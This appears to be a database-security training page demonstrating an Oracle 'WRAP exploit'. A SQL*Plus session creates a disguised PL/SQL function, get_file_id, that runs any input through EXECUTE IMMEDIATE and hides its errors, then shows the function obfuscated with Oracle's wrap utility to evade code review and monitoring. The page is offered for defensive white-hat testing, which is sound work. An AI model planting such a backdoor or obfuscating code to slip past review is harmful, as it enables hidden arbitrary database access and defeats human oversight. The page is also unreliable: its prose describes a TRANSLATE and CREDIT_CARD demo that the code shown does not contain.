DBSecWorx:L WRAP Exploit

Oracle WRAP Exploit Versions: ALL

Overview

One of the security industry's big money makers is monitoring SQL statements that for unusual behavior or for access to specific tables. To evade these security tools those in the business of breaking into databases evolve techniques for hiding the details of the requests they are making to the database. There are a large number of possible Substitution attacks a number of which are linked at the bottom of this page.

Many of the more sophisticated security tools can now catch some of these exploits but it is not hard to imagine numerous variations to evade existing capabilities. Be sure you learn, from the follow demos, how this works. Then try each of the exploits published here in your environment. To secure your database you need to intentionally attempt these exploits as part of a sanctioned White Hat attack to determine whether your environment will alert you.

Exploit Demo

This demo was written on the assumption that the organization is monitoring for SQL statements that contain the word "SELECT" and target the "CREDIT_CARD" table. Review the code of the anonymous block below. Note that nowhere in the code does the name of the target table "CREDIT_CARD" appear. If this code was part of a procedure with hundreds or thousands of lines of code, or was constructed to more clearly obfuscate its intent, it would sail through a code review and likely remain undetected.

The TRANSLATE function, in the demo code, converts "TRASHY" to "CREDIT" on the fly at the time of execution. The full target name "CREDIT_CARD" only exists within the database's memory, never on the network.

SQL*Plus: Release 19.0.0.0.0 - Production on Wed Aug 28 13:41:28 2019

      Version 19.3.0.0.0

      

      Copyright (c) 1982, 2019, Oracle. All rights reserved.

      

      Enter user-name: uwclass/uwclass@pdbdev

      

      Connected to:

      Oracle Database 19c Enterprise Edition Release 19.0.0.0.0 - Production

      Version 19.3.0.0.0

      

      -- consider the following PL/SQL function and the associated comments

      

      -- the input parameter fname accepts a file name

      CREATE OR REPLACE FUNCTION get_file_id(fname IN VARCHAR2) RETURN NUMBER AUTHID DEFINER IS

       x NUMBER;

       PRAGMA AUTONOMOUS_TRANSACTION;

      BEGIN

        -- if the file_name is found in dba_data_files the variable "x" takes on the value of the file's number

        SELECT ddf.file_id zzz

        INTO x

        FROM dba_data_files ddf

        WHERE UPPER(ddf.file_name) = UPPER(fname);

      

        -- then it returns the file's number to the user

        RETURN x;

      -- if the file_name is not found an exception is raised

      EXCEPTION

        WHEN OTHERS THEN

          BEGIN

            -- the function then executes the malicious code input in place of a legitimate file name

            EXECUTE IMMEDIATE fname;

          -- if the malicious code creates an       error message

          EXCEPTION

            WHEN OTHERS THEN

              -- hide the error by returning 0 so it looks like the code performs a legitimate function

             RETURN 0;

          END;

        RETURN 0;

      END get_file_id;

      /

      

      -- a good DBA or code reviewer can easily catch the malicious code above and drop it from the database

      -- but using Oracle' built-in wrap utility the code can be deployed in the database like this where

      -- the source code before compilation and the PL/SQL in SOURCE$ cannot be reviewed.

      

      CREATE OR REPLACE FUNCTION get_file_id wrapped 

      a000000

      b2

      abcd

      abcd

      abcd

      abcd

      abcd

      abcd

      abcd

      abcd

      abcd

      abcd

      abcd

      abcd

      abcd

      abcd

      abcd

      8

      18e 15c

      JYxFNcSF37HYMUDtXjpa9BaJuKcwg3lpmNw2f3Qa/+pTNHkvUfAWNPQD9ikG2JupzSW4DrcW

      Oqr3igKAN22FHNDGhlNmG8cvMJ3PPMQexmOHD67cULZL3YJgA+DPbsoJ0cxnGE8+4ac0wkQM

      SmONbo6KjLCUfvMf0JCOFM5pCdfzbO4tWgpYb29EyH1ZG9YNuRkIWMUFOcJdphIMcXQcil89

      4NSDvSZeusEBY1ppYfAGKRdT2kGP3t3G+7cr8ABfu6OzSBEeb0ir4ah4YzbNzS/dxC0coLc+

      vhCs/pGIup8RJzL2+cWBzuo7xlT5fNTbJ4EffqZWiR5XD5oQ+9fv4IE=

      

      /

      

      

      -- and now, the intent of the code is hidden from monitoring tools, code review, and DBA oversight

      -- it becomes unlikely the malicious code will be identified.

Conclusion

Using built-in capabilities such as the ability to wrap PL/SQL code hides from monitoring, and from human eyes, the actual content of a string being sent into our out of a database. The more sophisticated commercial monitoring tools may catch and tag this as suspicious but depending on how the encoding was performed may not be able to determine the underlying intent.

You are just trying to do your job. Some people's "job" is to find ways to evade your security measures. Investing time to understand these techniques and how they work, will make you better at evaluating what will protect your data and your databases.